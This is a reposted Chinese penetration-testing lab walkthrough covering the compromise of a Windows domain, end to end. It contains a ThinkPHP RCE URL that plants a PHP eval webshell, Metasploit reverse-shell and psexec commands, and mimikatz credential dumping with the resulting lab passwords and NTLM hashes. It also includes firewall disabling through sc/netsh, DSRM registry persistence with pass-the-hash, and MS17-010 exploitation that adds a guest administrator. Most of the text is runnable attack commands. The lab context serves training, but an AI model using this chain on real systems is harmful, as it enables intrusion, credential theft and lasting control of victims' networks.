靶场下载地址:http://39.98.79.56/vuln/detail/7/
win7
sun\leo 123.com
sun\Administrator dc123.com
192.168.2.39-外网
192.168.138.136-内网
2008
sun\admin 2020.com
192.168.138.138-内网
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.漏洞利用Getshell
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网—继续信息收集
8.内网攻击姿势—MS14-058
9.内网攻击姿势—MS17-010
四、横向移动
10.psexec远控
11.内网其它主机端口
12.netsh增删防火墙规则
五、构建通道
13.内网其它主机端口-代理转发
六、持久控制
14.域渗透-域成员信息收集
15.域渗透-基础服务弱口令探测及深度利用之powershell
16.域渗透-横向移动[wmi利用]
17.域渗透-域控实现与利用
七、痕迹清理
18、日志清理
1、用域控账号关闭防火墙,配置好网络
2、记得手动开启phpstudy
常规开局很多人都是用nmap扫描的,或者用别的扫描器,这会让我感觉扫描结果很慢
所以我直接上fscan,目前扫描的结果还是算不错的,要用一段时间再看看
web看到有一个thinkphp,还有poc可以打
随便输入错误的东西之后,就会报错出版本号
http://192.168.2.39/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
写入shell:
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test2.php&vars[1][]=<?php eval($_REQUEST[8]);?>
貌似是写入成功了,尝试访问一下
上马~
ipconfig /all
arp -a
上线msf
use exploit/multi/script/web_delivery
set target 2 # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 172.23.2.250 #攻击机器地址
exploit
把msf生成的payload复制到受害者机器上进行上线
再次信息收集,先收集令牌,因为我们前面已经确认了这台机器是在域控中了
可以看到有域控和域成员的令牌可以直接使用
我们为了学习,我们先上域成员去玩
解决乱码:chcp 65001
查看域控命令的时候,权限被拒绝了,估计是这个权限还是不够高
我觉得可以试一试getsystem,如果这个也不行 那就只能再想其他办法了
meterpreter > rev2self
meterpreter > getuid
Server username: SUN\Administrator
meterpreter > getsystem
…got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
退回administrator权限再尝试getsystem
net user /domain
域控信息和域控的账号密码
net group “domain admins” /domain
地址也对得上
前面看令牌的生活,发现域控的管理员账号也在,我们可以先试试抓抓管理员的密码
我们提前搭建隧道,因为后面迟早会用到的
下面我们来尝试攻击域控。
首先在msfconsole里面添加一个通向192.168.138.0网段的路由:
route add 192.168.138.0 255.255.255.0 1
route print
先查看路由
添加路由,目的是为了可以访问域控机器,可以锤他
搭建frp隧道,留着隧道备用
使用msfconsole中的wiki模块抓取密码:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
可以看见报错了,可以很直观的发现,是系统版本问题
其实这个因为我们的上线方式是在系统中属于32位的,所以运行mimikatz抓密码的时候无法正常去操作
所以,我们要解决这个问题,我们必须要做进程迁移,迁移到一个64位的程序中
我们可以先看看有什么程序适合的
可以先执行ps
假设说我们要选择这个
624 488 svchost.exe
迁移完64位进程之后,可以尝试再次抓取密码
如上图,成功抓取到了域管理员Administrator和域用户leo的密码:
•SUN\Administrator:dc123.com
•SUN\leo:123.com
既然已经获得了域管理员的用户名密码,那么我们直接尝试使用psexec登录域控(Windows 2008):
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
//set SMBPass c8c42d085b5e3da2e9260223765451f1:e8bea972b3549868cecd667a64a6ac46
set payload windows/meterpreter/bind_tcp
set rhost 172.23.2.250
run
这里可以看见利用失败了,可能是因为对方有防火墙开着
那我们想办法干掉防火墙
用sc服务关闭防火墙
要在此之前要提前把身份认证做好,所以我们可以用ipc$管道连接
net use \192.168.138.138\ipc$ “dc123.com”/user:”administrator”
然后创建服务来远程关闭Windows 2008的防火墙:
sc \192.168.138.138 create unablefirewall binpath= “netsh advfirewall set allprofiles state off” # 创建服务
sc \192.168.138.138 start unablefirewall # 立即启动服务
由此可见,已经干掉他的防火墙了
回到上一步继续psexec再试试
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
run
这里退回一下msf,开启桌面做权限维持以及做金票什么的也方便
开启Windows 2008远程桌面:
use post/windows/manage/enable_rdpset
session 2
run
前面我们已经配置好frp了,现在打开Proxifire直接配置用就行了
打开远程
输入:SUN\Administrator:dc123.com
DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。
在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。
首先,我们为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:
ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
<password> // 输入新密码
<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil
接着,我们返回msf使用kiwi模块执行mimikatz命令来读取域控本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd token::elevate
kiwi_cmd lsadump::sam
如上图所示,本地管理员administrator的NTLM Hash为:e8bea972b3549868cecd667a64a6ac46。
然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:
•0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
•1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
•2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:
打开powershell执行New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD
最后,我们即可以在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控了
privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:e8bea972b3549868cecd667a64a6ac46
注意,在这里,/domain 选项不是添域名,而是域控制器的机器名(DC),一定要注意。
除了向上面那样直接修改DSRM账户的密码外,我们还可以为DSRM同步为一个普通域用户的密码。但是要注意,本次靶场的域控制器的系统版本为Windows Server 2008,所以需要安装 KB961320 补丁才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版本的系统中不需要安装此补丁。
同步的方式如下:
ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
sync from domain account domainusername // 使DSRM的密码和指定的domainusername域用户的密码同步
q //退出DSRM密码设置模式
q // 退出ntdsutil
之后的操作就和上面所演示的一样了,同样还是读取本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功,然后同样还是修改目标主机DC的DSRM账户登录方式,最后同样还是在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控。
拿到入口机器之后的另外一种打法_ms17-010拿权限
扫描了漏洞说明是这台机器是容易受到攻击的,那么我们尝试一下
在实战中,我们不可能一上来就打权限,不得已的时候是不会使用的
我们可以先用command,然后再用psexec开启guest账户登陆
guest用户默认是不开启的,而我们可以把它开起来,然后加入管理组
利用msf先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]
system的权限可以直接激活guest用户添加管理员组。
use auxiliary/admin/smb/ms17_010_command
开启guest用户
set rhosts 192.168.138.138
set command net user guest active/yes
set command net user guest [email protected]
set command net loaclgroup administrators guest /add
第一种比较危险的打法
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.138.138 //配置攻击目标IP
set LHOST 172.23.2.250 //配置本机IP
set payload windows/x64/meterpreter/reverse_tcp //配置回链方式
show options //查看配置选项
run
失败了
开3389
set command REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections
记得关闭对方防火墙才可以进行3389连接喔
初学时期 很多漏洞都要多多尝试去打,多多复盘总结成为专属于自己的一套内网打法,慢慢熟练之后 需要快准狠
转载:https://bbs.zkaq.cn/t/30703.html
作者:spider
欢迎大家去关注作者
欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群
如果想和我一起讨论,欢迎加入我的知识星球!!!
扫描下图加入freebuf知识大陆
师傅们点赞、转发、在看就是最大的支持
后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)